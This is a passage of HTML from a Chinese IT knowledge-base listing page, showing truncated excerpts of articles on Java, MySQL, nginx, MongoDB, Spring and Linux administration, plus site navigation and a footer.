<a class="tag" taget="_blank" href="/search/linux%E8%BF%90%E7%BB%B4%E5%B7%A5%E7%A8%8B%E5%B8%88/1.htm">linux运维工程师</a><a class="tag" taget="_blank" href="/search/linux%E8%BF%90%E7%BB%B4%E5%B7%A5%E7%A8%8B%E5%B8%88%E6%95%99%E7%A8%8B/1.htm">linux运维工程师教程</a><a class="tag" taget="_blank" href="/search/linux%E8%BF%90%E7%BB%B4%E5%B7%A5%E7%A8%8B%E5%B8%88%E8%A7%86%E9%A2%91/1.htm">linux运维工程师视频</a><a class="tag" taget="_blank" href="/search/linux%E8%BF%90%E7%BB%B4%E5%B7%A5%E7%A8%8B%E5%B8%88%E8%B5%84%E6%96%99/1.htm">linux运维工程师资料</a><a class="tag" taget="_blank" href="/search/linux%E8%BF%90%E7%BB%B4%E5%B7%A5%E7%A8%8B%E5%B8%88%E8%87%AA%E5%AD%A6/1.htm">linux运维工程师自学</a>
                                    <div>比优衣库跟牛掰的视频流出了,兄弟连Linux运维工程师课堂实录,更加刺激,更加实在! 
  
----------------------------------------------------- 
兄弟连Linux运维工程师课堂实录-计算机基础-1-课程体系介绍1 
链接:http://pan.baidu.com/s/1i3GQtGL 密码:bl65 
  
兄弟连Lin</div>
                                </li>
                                <li><a href="/article/2055.htm"
                                       title="bitmap求哈密顿距离-给定N(1<=N<=100000)个五维的点A(x1,x2,x3,x4,x5),求两个点X(x1,x2,x3,x4,x5)和Y(" target="_blank">bitmap求哈密顿距离-给定N(1<=N<=100000)个五维的点A(x1,x2,x3,x4,x5),求两个点X(x1,x2,x3,x4,x5)和Y(</a>
                                    <span class="text-muted">bylijinnan</span>
<a class="tag" taget="_blank" href="/search/java/1.htm">java</a>
                                    <div>
import java.util.Random;

/**
 * 题目:
 * 给定N(1<=N<=100000)个五维的点A(x1,x2,x3,x4,x5),求两个点X(x1,x2,x3,x4,x5)和Y(y1,y2,y3,y4,y5),
 * 使得他们的哈密顿距离(d=|x1-y1| + |x2-y2| + |x3-y3| + |x4-y4| + |x5-y5|)最大</div>
                                </li>
                                <li><a href="/article/2182.htm"
                                       title="map的三种遍历方法" target="_blank">map的三种遍历方法</a>
                                    <span class="text-muted">chicony</span>
<a class="tag" taget="_blank" href="/search/map/1.htm">map</a>
                                    <div>  
package com.test;

import java.util.Collection;
import java.util.HashMap;
import java.util.Iterator;
import java.util.Map;
import java.util.Set;

public class TestMap {
    public static v</div>
                                </li>
                                <li><a href="/article/2309.htm"
                                       title="Linux安装mysql的一些坑" target="_blank">Linux安装mysql的一些坑</a>
                                    <span class="text-muted">chenchao051</span>
<a class="tag" taget="_blank" href="/search/linux/1.htm">linux</a>
                                    <div>1、mysql不建议在root用户下运行 
  
2、出现服务启动不了,111错误,注意要用chown来赋予权限, 我在root用户下装的mysql,我就把usr/share/mysql/mysql.server复制到/etc/init.d/mysqld, (同时把my-huge.cnf复制/etc/my.cnf)  
chown -R cc /etc/init.d/mysql</div>
                                </li>
                                <li><a href="/article/2436.htm"
                                       title="Sublime Text 3 配置" target="_blank">Sublime Text 3 配置</a>
                                    <span class="text-muted">daizj</span>
<a class="tag" taget="_blank" href="/search/%E9%85%8D%E7%BD%AE/1.htm">配置</a><a class="tag" taget="_blank" href="/search/Sublime+Text/1.htm">Sublime Text</a>
                                    <div>Sublime Text 3 配置解释(默认){// 设置主题文件“color_scheme”: “Packages/Color Scheme – Default/Monokai.tmTheme”,// 设置字体和大小“font_face”: “Consolas”,“font_size”: 12,// 字体选项:no_bold不显示粗体字,no_italic不显示斜体字,no_antialias和</div>
                                </li>
                                <li><a href="/article/2563.htm"
                                       title="MySQL server has gone away 问题的解决方法" target="_blank">MySQL server has gone away 问题的解决方法</a>
                                    <span class="text-muted">dcj3sjt126com</span>
<a class="tag" taget="_blank" href="/search/SQL+Server/1.htm">SQL Server</a>
                                    <div>MySQL server has gone away 问题解决方法,需要的朋友可以参考下。 
应用程序(比如PHP)长时间的执行批量的MYSQL语句。执行一个SQL,但SQL语句过大或者语句中含有BLOB或者longblob字段。比如,图片数据的处理。都容易引起MySQL server has gone away。 今天遇到类似的情景,MySQL只是冷冷的说:MySQL server h</div>
                                </li>
                                <li><a href="/article/2690.htm"
                                       title="javascript/dom:固定居中效果" target="_blank">javascript/dom:固定居中效果</a>
                                    <span class="text-muted">dcj3sjt126com</span>
<a class="tag" taget="_blank" href="/search/JavaScript/1.htm">JavaScript</a>
                                    <div><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> 
<html xmlns="http://www.w3.org/1999/xhtml&</div>
                                </li>
                                <li><a href="/article/2817.htm"
                                       title="使用 Spring 2.5 注释驱动的 IoC 功能" target="_blank">使用 Spring 2.5 注释驱动的 IoC 功能</a>
                                    <span class="text-muted">e200702084</span>
<a class="tag" taget="_blank" href="/search/spring/1.htm">spring</a><a class="tag" taget="_blank" href="/search/bean/1.htm">bean</a><a class="tag" taget="_blank" href="/search/%E9%85%8D%E7%BD%AE%E7%AE%A1%E7%90%86/1.htm">配置管理</a><a class="tag" taget="_blank" href="/search/IOC/1.htm">IOC</a><a class="tag" taget="_blank" href="/search/Office/1.htm">Office</a>
                                    <div>使用 Spring 2.5 注释驱动的 IoC 功能 
 developerWorks 
 
 
文档选项 
 将打印机的版面设置成横向打印模式 
 
打印本页 
 将此页作为电子邮件发送 
 
将此页作为电子邮件发送 
 
级别: 初级 
 
陈 雄华 (quickselect@163.com), 技术总监, 宝宝淘网络科技有限公司 
 
2008 年 2 月 28 日 
 
 &nb</div>
                                </li>
                                <li><a href="/article/2944.htm"
                                       title="MongoDB常用操作命令" target="_blank">MongoDB常用操作命令</a>
                                    <span class="text-muted">geeksun</span>
<a class="tag" taget="_blank" href="/search/mongodb/1.htm">mongodb</a>
                                    <div>1.   基本操作 
db.AddUser(username,password)               添加用户 
db.auth(usrename,password)      设置数据库连接验证 
db.cloneDataBase(fromhost)     </div>
                                </li>
                                <li><a href="/article/3071.htm"
                                       title="php写守护进程(Daemon)" target="_blank">php写守护进程(Daemon)</a>
                                    <span class="text-muted">hongtoushizi</span>
<a class="tag" taget="_blank" href="/search/PHP/1.htm">PHP</a>
                                    <div>转载自: http://blog.csdn.net/tengzhaorong/article/details/9764655 
  
守护进程(Daemon)是运行在后台的一种特殊进程。它独立于控制终端并且周期性地执行某种任务或等待处理某些发生的事件。守护进程是一种很有用的进程。php也可以实现守护进程的功能。 
  
1、基本概念 
  &nbs</div>
                                </li>
                                <li><a href="/article/3198.htm"
                                       title="spring整合mybatis,关于注入Dao对象出错问题" target="_blank">spring整合mybatis,关于注入Dao对象出错问题</a>
                                    <span class="text-muted">jonsvien</span>
<a class="tag" taget="_blank" href="/search/DAO/1.htm">DAO</a><a class="tag" taget="_blank" href="/search/spring/1.htm">spring</a><a class="tag" taget="_blank" href="/search/bean/1.htm">bean</a><a class="tag" taget="_blank" href="/search/mybatis/1.htm">mybatis</a><a class="tag" taget="_blank" href="/search/prototype/1.htm">prototype</a>
                                    <div>今天在公司测试功能时发现一问题: 
先进行代码说明: 
1,controller配置了Scope="prototype"(表明每一次请求都是原子型) 
   @resource/@autowired service对象都可以(两种注解都可以)。 
2,service 配置了Scope="prototype"(表明每一次请求都是原子型) 
</div>
                                </li>
                                <li><a href="/article/3325.htm"
                                       title="对象关系行为模式之标识映射" target="_blank">对象关系行为模式之标识映射</a>
                                    <span class="text-muted">home198979</span>
<a class="tag" taget="_blank" href="/search/PHP/1.htm">PHP</a><a class="tag" taget="_blank" href="/search/%E6%9E%B6%E6%9E%84/1.htm">架构</a><a class="tag" taget="_blank" href="/search/%E4%BC%81%E4%B8%9A%E5%BA%94%E7%94%A8/1.htm">企业应用</a><a class="tag" taget="_blank" href="/search/%E5%AF%B9%E8%B1%A1%E5%85%B3%E7%B3%BB/1.htm">对象关系</a><a class="tag" taget="_blank" href="/search/%E6%A0%87%E8%AF%86%E6%98%A0%E5%B0%84/1.htm">标识映射</a>
                                    <div>HELLO!架构 
  
一、概念 
identity Map:通过在映射中保存每个已经加载的对象,确保每个对象只加载一次,当要访问对象的时候,通过映射来查找它们。其实在数据源架构模式之数据映射器代码中有提及到标识映射,Mapper类的getFromMap方法就是实现标识映射的实现。 
  
  
二、为什么要使用标识映射? 
在数据源架构模式之数据映射器中 
//c</div>
                                </li>
                                <li><a href="/article/3452.htm"
                                       title="Linux下hosts文件详解" target="_blank">Linux下hosts文件详解</a>
                                    <span class="text-muted">pda158</span>
<a class="tag" taget="_blank" href="/search/linux/1.htm">linux</a>
                                    <div> 1、主机名:     无论在局域网还是INTERNET上,每台主机都有一个IP地址,是为了区分此台主机和彼台主机,也就是说IP地址就是主机的门牌号。     公网:IP地址不方便记忆,所以又有了域名。域名只是在公网(INtERNET)中存在,每个域名都对应一个IP地址,但一个IP地址可有对应多个域名。     局域网:每台机器都有一个主机名,用于主机与主机之间的便于区分,就可以为每台机器设置主机</div>
                                </li>
                                <li><a href="/article/3579.htm"
                                       title="nginx配置文件粗解" target="_blank">nginx配置文件粗解</a>
                                    <span class="text-muted">spjich</span>
<a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/nginx/1.htm">nginx</a>
                                    <div>#运行用户#user  nobody;#启动进程,通常设置成和cpu的数量相等worker_processes  2;#全局错误日志及PID文件#error_log  logs/error.log;#error_log  logs/error.log  notice;#error_log  logs/error.log  inf</div>
                                </li>
                                <li><a href="/article/3706.htm"
                                       title="数学函数" target="_blank">数学函数</a>
                                    <span class="text-muted">w54653520</span>
<a class="tag" taget="_blank" href="/search/java/1.htm">java</a>
                                    <div>public  
class  
S {       
     
// 传入两个整数,进行比较,返回两个数中的最大值的方法。   
     
public  
int  
get( 
int  
num1, 
int  
nu</div>
                                </li>
                </ul>
            </div>
        </div>
    </div>

<div>
    <div class="container">
        <div class="indexes">
            <strong>按字母分类:</strong>
            <a href="/tags/A/1.htm" target="_blank">A</a><a href="/tags/B/1.htm" target="_blank">B</a><a href="/tags/C/1.htm" target="_blank">C</a><a
                href="/tags/D/1.htm" target="_blank">D</a><a href="/tags/E/1.htm" target="_blank">E</a><a href="/tags/F/1.htm" target="_blank">F</a><a
                href="/tags/G/1.htm" target="_blank">G</a><a href="/tags/H/1.htm" target="_blank">H</a><a href="/tags/I/1.htm" target="_blank">I</a><a
                href="/tags/J/1.htm" target="_blank">J</a><a href="/tags/K/1.htm" target="_blank">K</a><a href="/tags/L/1.htm" target="_blank">L</a><a
                href="/tags/M/1.htm" target="_blank">M</a><a href="/tags/N/1.htm" target="_blank">N</a><a href="/tags/O/1.htm" target="_blank">O</a><a
                href="/tags/P/1.htm" target="_blank">P</a><a href="/tags/Q/1.htm" target="_blank">Q</a><a href="/tags/R/1.htm" target="_blank">R</a><a
                href="/tags/S/1.htm" target="_blank">S</a><a href="/tags/T/1.htm" target="_blank">T</a><a href="/tags/U/1.htm" target="_blank">U</a><a
                href="/tags/V/1.htm" target="_blank">V</a><a href="/tags/W/1.htm" target="_blank">W</a><a href="/tags/X/1.htm" target="_blank">X</a><a
                href="/tags/Y/1.htm" target="_blank">Y</a><a href="/tags/Z/1.htm" target="_blank">Z</a><a href="/tags/0/1.htm" target="_blank">其他</a>
        </div>
    </div>
</div>
<footer id="footer" class="mb30 mt30">
    <div class="container">
        <div class="footBglm">
            <a target="_blank" href="/">首页</a> -
            <a target="_blank" href="/custom/about.htm">关于我们</a> -
            <a target="_blank" href="/search/Java/1.htm">站内搜索</a> -
            <a target="_blank" href="/sitemap.txt">Sitemap</a> -
            <a target="_blank" href="/custom/delete.htm">侵权投诉</a>
        </div>
        <div class="copyright">版权所有 IT知识库 CopyRight © 2000-2050 E-COM-NET.COM , All Rights Reserved.
<!--            <a href="https://beian.miit.gov.cn/" rel="nofollow" target="_blank">京ICP备09083238号</a><br>-->
        </div>
    </div>
</footer>
<!-- 代码高亮 -->
<script type="text/javascript" src="/static/syntaxhighlighter/scripts/shCore.js"></script>
<script type="text/javascript" src="/static/syntaxhighlighter/scripts/shLegacy.js"></script>
<script type="text/javascript" src="/static/syntaxhighlighter/scripts/shAutoloader.js"></script>
<link type="text/css" rel="stylesheet" href="/static/syntaxhighlighter/styles/shCoreDefault.css"/>
<script type="text/javascript" src="/static/syntaxhighlighter/src/my_start_1.js"></script>





</body>

</html>